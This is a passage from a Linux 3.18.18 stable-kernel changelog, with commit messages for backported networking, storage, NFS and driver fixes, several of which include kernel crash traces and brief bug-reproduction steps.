commit 866cebe251f4fb2b435f4ecfe6d3bb4025938533 Author: Sasha Levin Date: Thu Jul 9 20:46:48 2015 -0400 Linux 3.18.18 Signed-off-by: Sasha Levin commit a3759241250e4ef7872ac0727a3c2b8d6f379f8f Author: Thomas Petazzoni Date: Wed Dec 31 11:54:10 2014 +0100 mmc: sdhci-pxav3: do the mbus window configuration after enabling clocks [ upstream commit aa8165f914420f143476305a01894b017d3abe6b ] In commit 5491ce3f79ee ("mmc: sdhci-pxav3: add support for the Armada 38x SDHCI controller"), the sdhci-pxav3 driver was extended to include support for the SDHCI controller found in the Armada 38x processor. This mainly involved adding some MBus window related configuration. However, this configuration is currently done too early in ->probe(): it is done before clocks are enabled, while this configuration involves touching the registers of the controller, which will hang the SoC if the clock is disabled. It wasn't noticed until now because the bootloader typically leaves gatable clocks enabled, but in situations where we have a deferred probe (due to a CD GPIO that cannot be taken, for example), then the probe will be re-tried later, after a clock disable has been done in the exit path of the failed probe attempt of the device. This second probe() will hang the system due to the clock being disabled. This can for example be produced on Armada 385 GP, which has a CD GPIO connected to an I2C PCA9555. If the driver for the PCA9555 is not compiled into the kernel, then we will have the following sequence of events: 1. The SDHCI probes 2. It does the MBus configuration (which works, because the clock is left enabled by the bootloader) 3. It enables the clock 4. It tries to get the CD GPIO, which fails due to the driver being missing, so -EPROBE_DEFER is returned. 5. Before returning -EPROBE_DEFER, the driver cleans up what was done, which includes disabling the clock. 6. Later on, the SDHCI probe is tried again. 7. It does the MBus configuration, which hangs because the clock is no longer enabled. This commit does the obvious fix of doing the MBus configuration after the clock has been enabled by the driver. Fixes: 5491ce3f79ee ("mmc: sdhci-pxav3: add support for the Armada 38x SDHCI controller") Cc: # v3.15+ Signed-off-by: Thomas Petazzoni Signed-off-by: Ulf Hansson [jogo: rebased onto 3.18.17] Signed-off-by: Jonas Gorski Signed-off-by: Sasha Levin commit 294440ca8608451a4a0cecbef125917932d620b4 Author: Alexander Sverdlin Date: Mon Jun 29 10:41:03 2015 +0200 sctp: Fix race between OOTB responce and route removal [ Upstream commit 29c4afc4e98f4dc0ea9df22c631841f9c220b944 ] There is NULL pointer dereference possible during statistics update if the route used for OOTB responce is removed at unfortunate time. If the route exists when we receive OOTB packet and we finally jump into sctp_packet_transmit() to send ABORT, but in the meantime route is removed under our feet, we take "no_route" path and try to update stats with IP_INC_STATS(sock_net(asoc->base.sk), ...). But sctp_ootb_pkt_new() used to prepare responce packet doesn't call sctp_transport_set_owner() and therefore there is no asoc associated with this packet. Probably temporary asoc just for OOTB responces is overkill, so just introduce a check like in all other places in sctp_packet_transmit(), where "asoc" is dereferenced. To reproduce this, one needs to 0. ensure that sctp module is loaded (otherwise ABORT is not generated) 1. remove default route on the machine 2. while true; do ip route del [interface-specific route] ip route add [interface-specific route] done 3. send enough OOTB packets (i.e. HB REQs) from another host to trigger ABORT responce On x86_64 the crash looks like this: BUG: unable to handle kernel NULL pointer dereference at 0000000000000020 IP: [] sctp_packet_transmit+0x63c/0x730 [sctp] PGD 0 Oops: 0000 [#1] PREEMPT SMP Modules linked in: ... CPU: 0 PID: 0 Comm: swapper/0 Tainted: G O 4.0.5-1-ARCH #1 Hardware name: ... task: ffffffff818124c0 ti: ffffffff81800000 task.ti: ffffffff81800000 RIP: 0010:[] [] sctp_packet_transmit+0x63c/0x730 [sctp] RSP: 0018:ffff880127c037b8 EFLAGS: 00010296 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00000015ff66b480 RDX: 00000015ff66b400 RSI: ffff880127c17200 RDI: ffff880123403700 RBP: ffff880127c03888 R08: 0000000000017200 R09: ffffffff814625af R10: ffffea00047e4680 R11: 00000000ffffff80 R12: ffff8800b0d38a28 R13: ffff8800b0d38a28 R14: ffff8800b3e88000 R15: ffffffffa05f24e0 FS: 0000000000000000(0000) GS:ffff880127c00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000020 CR3: 00000000c855b000 CR4: 00000000000007f0 Stack: ffff880127c03910 ffff8800b0d38a28 ffffffff8189d240 ffff88011f91b400 ffff880127c03828 ffffffffa05c94c5 0000000000000000 ffff8800baa1c520 0000000000000000 0000000000000001 0000000000000000 0000000000000000 Call Trace: [] ? sctp_sf_tabort_8_4_8.isra.20+0x85/0x140 [sctp] [] ? sctp_transport_put+0x52/0x80 [sctp] [] sctp_do_sm+0xb8c/0x19a0 [sctp] [] ? trigger_load_balance+0x90/0x210 [] ? update_process_times+0x59/0x60 [] ? timerqueue_add+0x60/0xb0 [] ? enqueue_hrtimer+0x29/0xa0 [] ? read_tsc+0x9/0x10 [] ? put_page+0x55/0x60 [] ? clockevents_program_event+0x6d/0x100 [] ? skb_free_head+0x58/0x80 [] ? chksum_update+0x1b/0x27 [crc32c_generic] [] ? crypto_shash_update+0xce/0xf0 [] sctp_endpoint_bh_rcv+0x113/0x280 [sctp] [] sctp_inq_push+0x46/0x60 [sctp] [] sctp_rcv+0x880/0x910 [sctp] [] ? sctp_packet_transmit_chunk+0xb0/0xb0 [sctp] [] ? sctp_csum_update+0x20/0x20 [sctp] [] ? ip_route_input_noref+0x235/0xd30 [] ? ack_ioapic_level+0x7b/0x150 [] ip_local_deliver_finish+0xae/0x210 [] ip_local_deliver+0x35/0x90 [] ip_rcv_finish+0xf5/0x370 [] ip_rcv+0x2b8/0x3a0 [] __netif_receive_skb_core+0x763/0xa50 [] __netif_receive_skb+0x18/0x60 [] netif_receive_skb_internal+0x40/0xd0 [] napi_gro_receive+0xe8/0x120 [] rtl8169_poll+0x2da/0x660 [r8169] [] net_rx_action+0x21a/0x360 [] __do_softirq+0xe1/0x2d0 [] irq_exit+0xad/0xb0 [] do_IRQ+0x58/0xf0 [] common_interrupt+0x6d/0x6d [] ? hrtimer_start+0x18/0x20 [] ? sctp_transport_destroy_rcu+0x29/0x30 [sctp] [] ? mwait_idle+0x60/0xa0 [] arch_cpu_idle+0xf/0x20 [] cpu_startup_entry+0x3ec/0x480 [] rest_init+0x85/0x90 [] start_kernel+0x48b/0x4ac [] ? early_idt_handlers+0x120/0x120 [] x86_64_start_reservations+0x2a/0x2c [] x86_64_start_kernel+0x161/0x184 Code: 90 48 8b 80 b8 00 00 00 48 89 85 70 ff ff ff 48 83 bd 70 ff ff ff 00 0f 85 cd fa ff ff 48 89 df 31 db e8 18 63 e7 e0 48 8b 45 80 <48> 8b 40 20 48 8b 40 30 48 8b 80 68 01 00 00 65 48 ff 40 78 e9 RIP [] sctp_packet_transmit+0x63c/0x730 [sctp] RSP CR2: 0000000000000020 ---[ end trace 5aec7fd2dc983574 ]--- Kernel panic - not syncing: Fatal exception in interrupt Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffff9fffffff) drm_kms_helper: panic occurred, switching back to text console ---[ end Kernel panic - not syncing: Fatal exception in interrupt Signed-off-by: Alexander Sverdlin Acked-by: Neil Horman Acked-by: Marcelo Ricardo Leitner Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit d05e615ef57d6ddf836a1d9d8b7b71f126582e0f Author: Eric Dumazet Date: Fri Jun 26 07:32:29 2015 +0200 bnx2x: fix lockdep splat [ Upstream commit d53c66a5b80698620f7c9ba2372fff4017e987b8 ] Michel reported following lockdep splat [ 44.718117] INFO: trying to register non-static key. [ 44.723081] the code is fine but needs lockdep annotation. [ 44.728559] turning off the locking correctness validator. [ 44.734036] CPU: 8 PID: 5483 Comm: ethtool Not tainted 4.1.0 [ 44.770289] Call Trace: [ 44.772741] [] dump_stack+0x4c/0x65 [ 44.777879] [] ? console_unlock+0x1f1/0x510 [ 44.783708] [] __lock_acquire+0x1d05/0x1f10 [ 44.789538] [] ? mark_held_locks+0x6a/0x90 [ 44.795276] [] ? trace_hardirqs_on_caller+0x105/0x1d0 [ 44.801967] [] ? trace_hardirqs_on+0xd/0x10 [ 44.807793] [] ? hrtimer_try_to_cancel+0x4a/0x250 [ 44.814142] [] lock_acquire+0xb6/0x290 [ 44.819537] [] ? flush_work+0x5/0x280 [ 44.824844] [] flush_work+0x3d/0x280 [ 44.830061] [] ? flush_work+0x5/0x280 [ 44.835366] [] ? schedule_hrtimeout_range+0x13/0x20 [ 44.841889] [] ? usleep_range+0x4b/0x50 [ 44.847365] [] ? mark_held_locks+0x6a/0x90 [ 44.853102] [] ? __cancel_work_timer+0x105/0x1c0 [ 44.859359] [] ? trace_hardirqs_on_caller+0x105/0x1d0 [ 44.866045] [] __cancel_work_timer+0x9f/0x1c0 [ 44.872048] [] ? bnx2x_func_stop+0x42/0x90 [bnx2x] [ 44.878481] [] cancel_work_sync+0x10/0x20 [ 44.884134] [] bnx2x_chip_cleanup+0x245/0x730 [bnx2x] [ 44.890829] [] ? up+0x32/0x50 [ 44.895439] [] ? del_timer_sync+0x5/0xd0 [ 44.901005] [] bnx2x_nic_unload+0x20d/0x8e0 [bnx2x] [ 44.907527] [] ? might_fault+0x5f/0xb0 [ 44.912921] [] bnx2x_reload_if_running+0x2c/0x50 [bnx2x] [ 44.919879] [] bnx2x_set_ringparam+0x2b5/0x460 [bnx2x] [ 44.926664] [] dev_ethtool+0x55b/0x1c40 [ 44.932148] [] ? rtnl_lock+0x17/0x20 [ 44.937364] [] dev_ioctl+0x17b/0x630 [ 44.942582] [] sock_do_ioctl+0x5d/0x70 [ 44.947972] [] sock_ioctl+0x73/0x280 [ 44.953192] [] do_vfs_ioctl+0x88/0x5b0 [ 44.958587] [] ? up_read+0x23/0x40 [ 44.963631] [] ? __fget_light+0x6c/0xa0 [ 44.969105] [] SyS_ioctl+0x91/0xb0 [ 44.974149] [] system_call_fastpath+0x12/0x6f As bnx2x_init_ptp() is only called if bp->flags contains PTP_SUPPORTED, we also need to guard bnx2x_stop_ptp() with same condition, otherwise ptp_task workqueue is not initialized and kernel barfs on cancel_work_sync() Fixes: eeed018cbfa30 ("bnx2x: Add timestamping and PTP hardware clock support") Reported-by: Michel Lespinasse Signed-off-by: Eric Dumazet Cc: Michal Kalderon Cc: Ariel Elior Cc: Yuval Mintz Cc: David Decotigny Acked-by: Sony Chacko Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit f5437d06e0894775086485c97b9069e123fe6961 Author: Mugunthan V N Date: Thu Jun 25 22:21:02 2015 +0530 net: phy: fix phy link up when limiting speed via device tree [ Upstream commit eb686231fce3770299760f24fdcf5ad041f44153 ] When limiting phy link speed using "max-speed" to 100mbps or less on a giga bit phy, phy never completes auto negotiation and phy state machine is held in PHY_AN. Fixing this issue by comparing the giga bit advertise though phydev->supported doesn't have it but phy has BMSR_ESTATEN set. So that auto negotiation is restarted as old and new advertise are different and link comes up fine. Signed-off-by: Mugunthan V N Reviewed-by: Florian Fainelli Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 83152d40c1cf5db8b70e1d64b599b7b709063131 Author: Ido Shamay Date: Thu Jun 25 11:29:42 2015 +0300 net/mlx4_en: Wake TX queues only when there's enough room [ Upstream commit 488a9b48e398b157703766e2cd91ea45ac6997c5 ] Indication of a single completed packet, marked by txbbs_skipped being bigger then zero, in not enough in order to wake up a stopped TX queue. The completed packet may contain a single TXBB, while next packet to be sent (after the wake up) may have multiple TXBBs (LSO/TSO packets for example), causing overflow in queue followed by WQE corruption and TX queue timeout. Instead, wake the stopped queue only when there's enough room for the worst case (maximum sized WQE) packet that we should need to handle after the queue is opened again. Also created an helper routine - mlx4_en_is_tx_ring_full, which checks if the current TX ring is full or not. It provides better code readability and removes code duplication. Signed-off-by: Ido Shamay Signed-off-by: Or Gerlitz Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit a157d016df56a0f86ea7d5b3484bc1a30613b441 Author: Christoph Paasch Date: Thu Jun 18 09:15:34 2015 -0700 tcp: Do not call tcp_fastopen_reset_cipher from interrupt context [ Upstream commit dfea2aa654243f70dc53b8648d0bbdeec55a7df1 ] tcp_fastopen_reset_cipher really cannot be called from interrupt context. It allocates the tcp_fastopen_context with GFP_KERNEL and calls crypto_alloc_cipher, which allocates all kind of stuff with GFP_KERNEL. Thus, we might sleep when the key-generation is triggered by an incoming TFO cookie-request which would then happen in interrupt- context, as shown by enabling CONFIG_DEBUG_ATOMIC_SLEEP: [ 36.001813] BUG: sleeping function called from invalid context at mm/slub.c:1266 [ 36.003624] in_atomic(): 1, irqs_disabled(): 0, pid: 1016, name: packetdrill [ 36.004859] CPU: 1 PID: 1016 Comm: packetdrill Not tainted 4.1.0-rc7 #14 [ 36.006085] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.7.5-0-ge51488c-20140602_164612-nilsson.home.kraxel.org 04/01/2014 [ 36.008250] 00000000000004f2 ffff88007f8838a8 ffffffff8171d53a ffff880075a084a8 [ 36.009630] ffff880075a08000 ffff88007f8838c8 ffffffff810967d3 ffff88007f883928 [ 36.011076] 0000000000000000 ffff88007f8838f8 ffffffff81096892 ffff88007f89be00 [ 36.012494] Call Trace: [ 36.012953] [] dump_stack+0x4f/0x6d [ 36.014085] [] ___might_sleep+0x103/0x170 [ 36.015117] [] __might_sleep+0x52/0x90 [ 36.016117] [] kmem_cache_alloc_trace+0x47/0x190 [ 36.017266] [] ? tcp_fastopen_reset_cipher+0x42/0x130 [ 36.018485] [] tcp_fastopen_reset_cipher+0x42/0x130 [ 36.019679] [] tcp_fastopen_init_key_once+0x61/0x70 [ 36.020884] [] __tcp_fastopen_cookie_gen+0x1c/0x60 [ 36.022058] [] tcp_try_fastopen+0x58f/0x730 [ 36.023118] [] tcp_conn_request+0x3e8/0x7b0 [ 36.024185] [] ? __module_text_address+0x12/0x60 [ 36.025327] [] tcp_v4_conn_request+0x51/0x60 [ 36.026410] [] tcp_rcv_state_process+0x190/0xda0 [ 36.027556] [] ? __inet_lookup_established+0x47/0x170 [ 36.028784] [] tcp_v4_do_rcv+0x16d/0x3d0 [ 36.029832] [] ? security_sock_rcv_skb+0x16/0x20 [ 36.030936] [] tcp_v4_rcv+0x77a/0x7b0 [ 36.031875] [] ? iptable_filter_hook+0x33/0x70 [ 36.032953] [] ip_local_deliver_finish+0x92/0x1f0 [ 36.034065] [] ip_local_deliver+0x9a/0xb0 [ 36.035069] [] ? ip_rcv+0x3d0/0x3d0 [ 36.035963] [] ip_rcv_finish+0x119/0x330 [ 36.036950] [] ip_rcv+0x2e7/0x3d0 [ 36.037847] [] __netif_receive_skb_core+0x552/0x930 [ 36.038994] [] __netif_receive_skb+0x27/0x70 [ 36.040033] [] process_backlog+0xd2/0x1f0 [ 36.041025] [] net_rx_action+0x122/0x310 [ 36.042007] [] __do_softirq+0x103/0x2f0 [ 36.042978] [] do_softirq_own_stack+0x1c/0x30 This patch moves the call to tcp_fastopen_init_key_once to the places where a listener socket creates its TFO-state, which always happens in user-context (either from the setsockopt, or implicitly during the listen()-call) Cc: Eric Dumazet Cc: Hannes Frederic Sowa Fixes: 222e83d2e0ae ("tcp: switch tcp_fastopen key generation to net_get_random_once") Signed-off-by: Christoph Paasch Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 76488fa31b887e67264c0b714b7951ee390208f8 Author: Julian Anastasov Date: Tue Jun 16 22:56:39 2015 +0300 neigh: do not modify unlinked entries [ Upstream commit 2c51a97f76d20ebf1f50fef908b986cb051fdff9 ] The lockless lookups can return entry that is unlinked. Sometimes they get reference before last neigh_cleanup_and_release, sometimes they do not need reference. Later, any modification attempts may result in the following problems: 1. entry is not destroyed immediately because neigh_update can start the timer for dead entry, eg. on change to NUD_REACHABLE state. As result, entry lives for some time but is invisible and out of control. 2. __neigh_event_send can run in parallel with neigh_destroy while refcnt=0 but if timer is started and expired refcnt can reach 0 for second time leading to second neigh_destroy and possible crash. Thanks to Eric Dumazet and Ying Xue for their work and analyze on the __neigh_event_send change. Fixes: 767e97e1e0db ("neigh: RCU conversion of struct neighbour") Fixes: a263b3093641 ("ipv4: Make neigh lookups directly in output packet path.") Fixes: 6fd6ce2056de ("ipv6: Do not depend on rt->n in ip6_finish_output2().") Cc: Eric Dumazet Cc: Ying Xue Signed-off-by: Julian Anastasov Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 154dcd0b49c499f2c5846e6d85a48735a67b0929 Author: Willem de Bruijn Date: Wed Jun 17 15:59:34 2015 -0400 packet: avoid out of bounds read in round robin fanout [ Upstream commit 468479e6043c84f5a65299cc07cb08a22a28c2b1 ] PACKET_FANOUT_LB computes f->rr_cur such that it is modulo f->num_members. It returns the old value unconditionally, but f->num_members may have changed since the last store. Ensure that the return value is always < num. When modifying the logic, simplify it further by replacing the loop with an unconditional atomic increment. Fixes: dc99f600698d ("packet: Add fanout support.") Suggested-by: Eric Dumazet Signed-off-by: Willem de Bruijn Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 5c0e1a6b445f6709873959d69b367bc7f0c4ff06 Author: Eric Dumazet Date: Tue Jun 16 07:59:11 2015 -0700 packet: read num_members once in packet_rcv_fanout() [ Upstream commit f98f4514d07871da7a113dd9e3e330743fd70ae4 ] We need to tell compiler it must not read f->num_members multiple times. Otherwise testing if num is not zero is flaky, and we could attempt an invalid divide by 0 in fanout_demux_cpu() Note bug was present in packet_rcv_fanout_hash() and packet_rcv_fanout_lb() but final 3.1 had a simple location after commit 95ec3eb417115fb ("packet: Add 'cpu' fanout policy.") Fixes: dc99f600698dc ("packet: Add fanout support.") Signed-off-by: Eric Dumazet Cc: Willem de Bruijn Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit e3c0852fdda9648c39f3bd929bcb1d58f120e06c Author: Nikolay Aleksandrov Date: Mon Jun 15 20:28:51 2015 +0300 bridge: fix br_stp_set_bridge_priority race conditions [ Upstream commit 2dab80a8b486f02222a69daca6859519e05781d9 ] After the ->set() spinlocks were removed br_stp_set_bridge_priority was left running without any protection when used via sysfs. It can race with port add/del and could result in use-after-free cases and corrupted lists. Tested by running port add/del in a loop with stp enabled while setting priority in a loop, crashes are easily reproducible. The spinlocks around sysfs ->set() were removed in commit: 14f98f258f19 ("bridge: range check STP parameters") There's also a race condition in the netlink priority support that is fixed by this change, but it was introduced recently and the fixes tag covers it, just in case it's needed the commit is: af615762e972 ("bridge: add ageing_time, stp_state, priority over netlink") Signed-off-by: Nikolay Aleksandrov Fixes: 14f98f258f19 ("bridge: range check STP parameters") Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 720e1669baa8f2658d737825e49edb018cf3aa1d Author: Marcelo Ricardo Leitner Date: Fri Jun 12 10:16:41 2015 -0300 sctp: fix ASCONF list handling [ Upstream commit 2d45a02d0166caf2627fe91897c6ffc3b19514c4 ] ->auto_asconf_splist is per namespace and mangled by functions like sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization. Also, the call to inet_sk_copy_descendant() was backuping ->auto_asconf_list through the copy but was not honoring ->do_auto_asconf, which could lead to list corruption if it was different between both sockets. This commit thus fixes the list handling by using ->addr_wq_lock spinlock to protect the list. A special handling is done upon socket creation and destruction for that. Error handlig on sctp_init_sock() will never return an error after having initialized asconf, so sctp_destroy_sock() can be called without addrq_wq_lock. The lock now will be take on sctp_close_sock(), before locking the socket, so we don't do it in inverse order compared to sctp_addr_wq_timeout_handler(). Instead of taking the lock on sctp_sock_migrate() for copying and restoring the list values, it's preferred to avoid rewritting it by implementing sctp_copy_descendant(). Issue was found with a test application that kept flipping sysctl default_auto_asconf on and off, but one could trigger it by issuing simultaneous setsockopt() calls on multiple sockets or by creating/destroying sockets fast enough. This is only triggerable locally. Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).") Reported-by: Ji Jianwen Suggested-by: Neil Horman Suggested-by: Hannes Frederic Sowa Acked-by: Hannes Frederic Sowa Signed-off-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit f26220b7252ab92a319b273307427cc1387d5268 Author: Shaohua Li Date: Thu Jun 11 16:50:48 2015 -0700 net: don't wait for order-3 page allocation [ Upstream commit fb05e7a89f500cfc06ae277bdc911b281928995d ] We saw excessive direct memory compaction triggered by skb_page_frag_refill. This causes performance issues and add latency. Commit 5640f7685831e0 introduces the order-3 allocation. According to the changelog, the order-3 allocation isn't a must-have but to improve performance. But direct memory compaction has high overhead. The benefit of order-3 allocation can't compensate the overhead of direct memory compaction. This patch makes the order-3 page allocation atomic. If there is no memory pressure and memory isn't fragmented, the alloction will still success, so we don't sacrifice the order-3 benefit here. If the atomic allocation fails, direct memory compaction will not be triggered, skb_page_frag_refill will fallback to order-0 immediately, hence the direct memory compaction overhead is avoided. In the allocation failure case, kswapd is waken up and doing compaction, so chances are allocation could success next time. alloc_skb_with_frags is the same. The mellanox driver does similar thing, if this is accepted, we must fix the driver too. V3: fix the same issue in alloc_skb_with_frags as pointed out by Eric V2: make the changelog clearer Cc: Eric Dumazet Cc: Chris Mason Cc: Debabrata Banerjee Signed-off-by: Shaohua Li Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit f32a1b98b347f70d4d8eae2d49972068e45ca988 Author: Nikolay Aleksandrov Date: Tue Jun 9 10:23:57 2015 -0700 bridge: fix multicast router rlist endless loop [ Upstream commit 1a040eaca1a22f8da8285ceda6b5e4a2cb704867 ] Since the addition of sysfs multicast router support if one set multicast_router to "2" more than once, then the port would be added to the hlist every time and could end up linking to itself and thus causing an endless loop for rlist walkers. So to reproduce just do: echo 2 > multicast_router; echo 2 > multicast_router; in a bridge port and let some igmp traffic flow, for me it hangs up in br_multicast_flood(). Fix this by adding a check in br_multicast_add_router() if the port is already linked. The reason this didn't happen before the addition of multicast_router sysfs entries is because there's a !hlist_unhashed check that prevents it. Signed-off-by: Nikolay Aleksandrov Fixes: 0909e11758bd ("bridge: Add multicast_router sysfs entries") Acked-by: Herbert Xu Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit 967ccdcfe374504f320336787d4483f80e607fd1 Author: Sowmini Varadhan Date: Tue Apr 21 10:30:41 2015 -0400 sparc: Use GFP_ATOMIC in ldc_alloc_exp_dring() as it can be called in softirq context [ Upstream commit 671d773297969bebb1732e1cdc1ec03aa53c6be2 ] Since it is possible for vnet_event_napi to end up doing vnet_control_pkt_engine -> ... -> vnet_send_attr -> vnet_port_alloc_tx_ring -> ldc_alloc_exp_dring -> kzalloc() (i.e., in softirq context), kzalloc() should be called with GFP_ATOMIC from ldc_alloc_exp_dring. Signed-off-by: Sowmini Varadhan Signed-off-by: Sasha Levin commit 90606a14b76f0c601238afe1274b92b44f95b0bf Author: Stevens, Nick Date: Wed Jul 1 16:07:41 2015 +0000 hwmon: (mcp3021) Fix broken output scaling [ Upstream commit 347d7e45bd09ce09cbc30d5cea9de377eb22f55c ] The mcp3021 scaling code is dividing the VDD (full-scale) value in millivolts by the A2D resolution to obtain the scaling factor. When VDD is 3300mV (the standard value) and the resolution is 12-bit (4096 divisions), the result is a scale factor of 3300/4096, which is always one. Effectively, the raw A2D reading is always being returned because no scaling is applied. This patch fixes the issue and simplifies the register-to-volts calculation, removing the unneeded "output_scale" struct member. Signed-off-by: Nick Stevens Cc: stable@vger.kernel.org # v3.10+ [Guenter Roeck: Dropped unnecessary value check] Signed-off-by: Guenter Roeck Signed-off-by: Sasha Levin commit ed7f7f145ec1445a130513db9ad8f1547f77a578 Author: Jeff Layton Date: Tue Jun 30 14:12:30 2015 -0400 nfs: take extra reference to fl->fl_file when running a LOCKU operation [ Upstream commit db2efec0caba4f81a22d95a34da640b86c313c8e ] Jean reported another crash, similar to the one fixed by feaff8e5b2cf: BUG: unable to handle kernel NULL pointer dereference at 0000000000000148 IP: [] locks_get_lock_context+0xf/0xa0 PGD 0 Oops: 0000 [#1] SMP Modules linked in: nfsv3 nfs_layout_flexfiles rpcsec_gss_krb5 nfsv4 dns_resolver nfs fscache vmw_vsock_vmci_transport vsock cfg80211 rfkill coretemp crct10dif_pclmul ppdev vmw_balloon crc32_pclmul crc32c_intel ghash_clmulni_intel pcspkr vmxnet3 parport_pc i2c_piix4 microcode serio_raw parport nfsd floppy vmw_vmci acpi_cpufreq auth_rpcgss shpchp nfs_acl lockd grace sunrpc vmwgfx drm_kms_helper ttm drm mptspi scsi_transport_spi mptscsih ata_generic mptbase i2c_core pata_acpi CPU: 0 PID: 329 Comm: kworker/0:1H Not tainted 4.1.0-rc7+ #2 Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/30/2013 Workqueue: rpciod rpc_async_schedule [sunrpc] 30ec000 RIP: 0010:[] [] locks_get_lock_context+0xf/0xa0 RSP: 0018:ffff8802330efc08 EFLAGS: 00010296 RAX: ffff8802330efc58 RBX: ffff880097187c80 RCX: 0000000000000000 RDX: 0000000000000000 RSI: 0000000000000002 RDI: 0000000000000000 RBP: ffff8802330efc18 R08: ffff88023fc173d8 R09: 3038b7bf00000000 R10: 00002f1a02000000 R11: 3038b7bf00000000 R12: 0000000000000000 R13: 0000000000000000 R14: ffff8802337a2300 R15: 0000000000000020 FS: 0000000000000000(0000) GS:ffff88023fc00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000148 CR3: 000000003680f000 CR4: 00000000001407f0 Stack: ffff880097187c80 ffff880097187cd8 ffff8802330efc98 ffffffff81250281 ffff8802330efc68 ffffffffa013e7df ffff8802330efc98 0000000000000246 ffff8801f6901c00 ffff880233d2b8d8 ffff8802330efc58 ffff8802330efc58 Call Trace: [] __posix_lock_file+0x31/0x5e0 [] ? rpc_wake_up_task_queue_locked.part.35+0xcf/0x240 [sunrpc] [] posix_lock_file_wait+0x3b/0xd0 [] ? nfs41_wake_and_assign_slot+0x32/0x40 [nfsv4] [] ? nfs41_sequence_done+0xd8/0x300 [nfsv4] [] do_vfs_lock+0x35/0x40 [nfsv4] [] nfs4_locku_done+0x81/0x120 [nfsv4] [] ? rpc_destroy_wait_queue+0x20/0x20 [sunrpc] [] ? rpc_destroy_wait_queue+0x20/0x20 [sunrpc] [] rpc_exit_task+0x2c/0x90 [sunrpc] [] ? call_refreshresult+0x170/0x170 [sunrpc] [] __rpc_execute+0x84/0x410 [sunrpc] [] rpc_async_schedule+0x15/0x20 [sunrpc] [] process_one_work+0x147/0x400 [] worker_thread+0x11b/0x460 [] ? rescuer_thread+0x2f0/0x2f0 [] kthread+0xc9/0xe0 [] ? perf_trace_xen_mmu_set_pmd+0xa0/0x160 [] ? kthread_create_on_node+0x170/0x170 [] ret_from_fork+0x42/0x70 [] ? kthread_create_on_node+0x170/0x170 Code: a5 81 e8 85 75 e4 ff c6 05 31 ee aa 00 01 eb 98 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 41 54 49 89 fc 53 <48> 8b 9f 48 01 00 00 48 85 db 74 08 48 89 d8 5b 41 5c 5d c3 83 RIP [] locks_get_lock_context+0xf/0xa0 RSP CR2: 0000000000000148 ---[ end trace 64484f16250de7ef ]--- The problem is almost exactly the same as the one fixed by feaff8e5b2cf. We must take a reference to the struct file when running the LOCKU compound to prevent the final fput from running until the operation is complete. Reported-by: Jean Spector Signed-off-by: Jeff Layton Cc: stable@vger.kernel.org Signed-off-by: Trond Myklebust Signed-off-by: Sasha Levin commit bdece860ce2f0f3ab5c50fefa12bf9b8d198e42c Author: Jeff Layton Date: Tue May 12 15:48:10 2015 -0400 nfs: take extra reference to fl->fl_file when running a setlk [ Upstream commit feaff8e5b2cfc3eae02cf65db7a400b0b9ffc596 ] We had a report of a crash while stress testing the NFS client: BUG: unable to handle kernel NULL pointer dereference at 0000000000000150 IP: [] locks_get_lock_context+0x8/0x90 PGD 0 Oops: 0000 [#1] SMP Modules linked in: rpcsec_gss_krb5 nfsv4 dns_resolver nfs fscache ip6t_rpfilter ip6t_REJECT nf_reject_ipv6 xt_conntrack ebtable_nat ebtable_filter ebtable_broute bridge stp llc ebtables ip6table_security ip6table_mangle ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_raw ip6table_filter ip6_tables iptable_security iptable_mangle iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_raw coretemp crct10dif_pclmul ppdev crc32_pclmul crc32c_intel ghash_clmulni_intel vmw_balloon serio_raw vmw_vmci i2c_piix4 shpchp parport_pc acpi_cpufreq parport nfsd auth_rpcgss nfs_acl lockd grace sunrpc vmwgfx drm_kms_helper ttm drm mptspi scsi_transport_spi mptscsih mptbase e1000 ata_generic pata_acpi CPU: 1 PID: 399 Comm: kworker/1:1H Not tainted 4.1.0-0.rc1.git0.1.fc23.x86_64 #1 Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/30/2013 Workqueue: rpciod rpc_async_schedule [sunrpc] task: ffff880036aea7c0 ti: ffff8800791f4000 task.ti: ffff8800791f4000 RIP: 0010:[] [] locks_get_lock_context+0x8/0x90 RSP: 0018:ffff8800791f7c00 EFLAGS: 00010293 RAX: ffff8800791f7c40 RBX: ffff88001f2ad8c0 RCX: ffffe8ffffc80305 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffff8800791f7c88 R08: ffff88007fc971d8 R09: 279656d600000000 R10: 0000034a01000000 R11: 279656d600000000 R12: ffff88001f2ad918 R13: ffff88001f2ad8c0 R14: 0000000000000000 R15: 0000000100e73040 FS: 0000000000000000(0000) GS:ffff88007fc80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000150 CR3: 0000000001c0b000 CR4: 00000000000407e0 